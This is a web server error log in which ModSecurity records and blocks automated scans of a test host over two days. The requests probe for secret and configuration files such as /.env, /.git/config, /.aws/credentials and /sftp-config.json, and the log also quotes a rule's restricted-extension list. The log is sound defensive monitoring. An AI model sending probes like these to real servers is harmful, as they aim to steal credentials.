[Sat Nov 04 22:19:09.927101 2023] [:error] [pid 2940356] [client 139.144.150.45:54760] [client 139.144.150.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUa1TSx42qkWuW3_EpEkCgAAAAk&quot;]
[Sat Nov 04 22:19:09.927290 2023] [:error] [pid 2940356] [client 139.144.150.45:54760] [client 139.144.150.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUa1TSx42qkWuW3_EpEkCgAAAAk&quot;]
[Sat Nov 04 22:19:09.927437 2023] [:error] [pid 2940356] [client 139.144.150.45:54760] [client 139.144.150.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUa1TSx42qkWuW3_EpEkCgAAAAk&quot;]
[Sat Nov 04 22:19:10.154285 2023] [:error] [pid 2940352] [client 139.144.150.45:54770] [client 139.144.150.45] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUa1ThScrz1c2JWe1L-TtwAAAAY&quot;]
[Sat Nov 04 22:19:10.154484 2023] [:error] [pid 2940352] [client 139.144.150.45:54770] [client 139.144.150.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUa1ThScrz1c2JWe1L-TtwAAAAY&quot;]
[Sat Nov 04 22:19:10.154805 2023] [:error] [pid 2940352] [client 139.144.150.45:54770] [client 139.144.150.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUa1ThScrz1c2JWe1L-TtwAAAAY&quot;]
[Sun Nov 05 01:28:23.819057 2023] [:error] [pid 2941672] [client 44.201.212.175:59678] [client 44.201.212.175] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUbhpx19Z3MSmtX77xQxtQAAAAU&quot;]
[Sun Nov 05 01:28:23.819306 2023] [:error] [pid 2941672] [client 44.201.212.175:59678] [client 44.201.212.175] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUbhpx19Z3MSmtX77xQxtQAAAAU&quot;]
[Sun Nov 05 01:28:23.819461 2023] [:error] [pid 2941672] [client 44.201.212.175:59678] [client 44.201.212.175] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUbhpx19Z3MSmtX77xQxtQAAAAU&quot;]
[Sun Nov 05 02:33:50.522310 2023] [:error] [pid 2941672] [client 91.213.50.8:38002] [client 91.213.50.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUbw_h19Z3MSmtX77xQxuAAAAAU&quot;]
[Sun Nov 05 02:33:50.522566 2023] [:error] [pid 2941672] [client 91.213.50.8:38002] [client 91.213.50.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUbw_h19Z3MSmtX77xQxuAAAAAU&quot;]
[Sun Nov 05 02:33:50.522762 2023] [:error] [pid 2941672] [client 91.213.50.8:38002] [client 91.213.50.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUbw_h19Z3MSmtX77xQxuAAAAAU&quot;]
[Sun Nov 05 15:08:31.586078 2023] [:error] [pid 2949694] [client 91.213.50.8:59988] [client 91.213.50.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUeh3yo0qVGOtryXpL2howAAAAc&quot;]
[Sun Nov 05 15:08:31.586317 2023] [:error] [pid 2949694] [client 91.213.50.8:59988] [client 91.213.50.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUeh3yo0qVGOtryXpL2howAAAAc&quot;]
[Sun Nov 05 15:08:31.586527 2023] [:error] [pid 2949694] [client 91.213.50.8:59988] [client 91.213.50.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUeh3yo0qVGOtryXpL2howAAAAc&quot;]
[Sun Nov 05 15:08:53.856653 2023] [:error] [pid 2945347] [client 91.213.50.8:51808] [client 91.213.50.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUeh9TDT8nMuo9EfqVECfQAAAAE&quot;]
[Sun Nov 05 15:08:53.856985 2023] [:error] [pid 2945347] [client 91.213.50.8:51808] [client 91.213.50.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUeh9TDT8nMuo9EfqVECfQAAAAE&quot;]
[Sun Nov 05 15:08:53.857181 2023] [:error] [pid 2945347] [client 91.213.50.8:51808] [client 91.213.50.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUeh9TDT8nMuo9EfqVECfQAAAAE&quot;]
[Sun Nov 05 15:58:25.384409 2023] [:error] [pid 2947462] [client 13.238.182.129:49468] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;ZUetkfmCwGyt19di1WEBIgAAAAY&quot;]
[Sun Nov 05 15:58:25.384637 2023] [:error] [pid 2947462] [client 13.238.182.129:49468] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;ZUetkfmCwGyt19di1WEBIgAAAAY&quot;]
[Sun Nov 05 15:58:25.384789 2023] [:error] [pid 2947462] [client 13.238.182.129:49468] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;ZUetkfmCwGyt19di1WEBIgAAAAY&quot;]
[Sun Nov 05 15:58:26.342466 2023] [:error] [pid 2945349] [client 13.238.182.129:49484] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZUetkkrTDH-WNbmIHqbDDwAAAAM&quot;]
[Sun Nov 05 15:58:26.342686 2023] [:error] [pid 2945349] [client 13.238.182.129:49484] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZUetkkrTDH-WNbmIHqbDDwAAAAM&quot;]
[Sun Nov 05 15:58:26.342932 2023] [:error] [pid 2945349] [client 13.238.182.129:49484] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZUetkkrTDH-WNbmIHqbDDwAAAAM&quot;]
[Sun Nov 05 15:58:36.283087 2023] [:error] [pid 2945350] [client 13.238.182.129:38048] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;ZUetnE7FHveku4ctlxRlUQAAAAQ&quot;]
[Sun Nov 05 15:58:36.283319 2023] [:error] [pid 2945350] [client 13.238.182.129:38048] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;ZUetnE7FHveku4ctlxRlUQAAAAQ&quot;]
[Sun Nov 05 15:58:36.283475 2023] [:error] [pid 2945350] [client 13.238.182.129:38048] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;ZUetnE7FHveku4ctlxRlUQAAAAQ&quot;]
[Sun Nov 05 15:58:48.226750 2023] [:error] [pid 2949694] [client 13.238.182.129:39414] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUetqCo0qVGOtryXpL2hpgAAAAc&quot;]
[Sun Nov 05 15:58:48.227081 2023] [:error] [pid 2949694] [client 13.238.182.129:39414] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUetqCo0qVGOtryXpL2hpgAAAAc&quot;]
[Sun Nov 05 15:58:48.227322 2023] [:error] [pid 2949694] [client 13.238.182.129:39414] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZUetqCo0qVGOtryXpL2hpgAAAAc&quot;]
[Sun Nov 05 15:58:49.186702 2023] [:error] [pid 2945347] [client 13.238.182.129:39422] [client 13.238.182.129] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZUetqTDT8nMuo9EfqVECgAAAAAE&quot;]
[Sun Nov 05 15:58:49.186863 2023] [:error] [pid 2945347] [client 13.238.182.129:39422] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZUetqTDT8nMuo9EfqVECgAAAAAE&quot;]
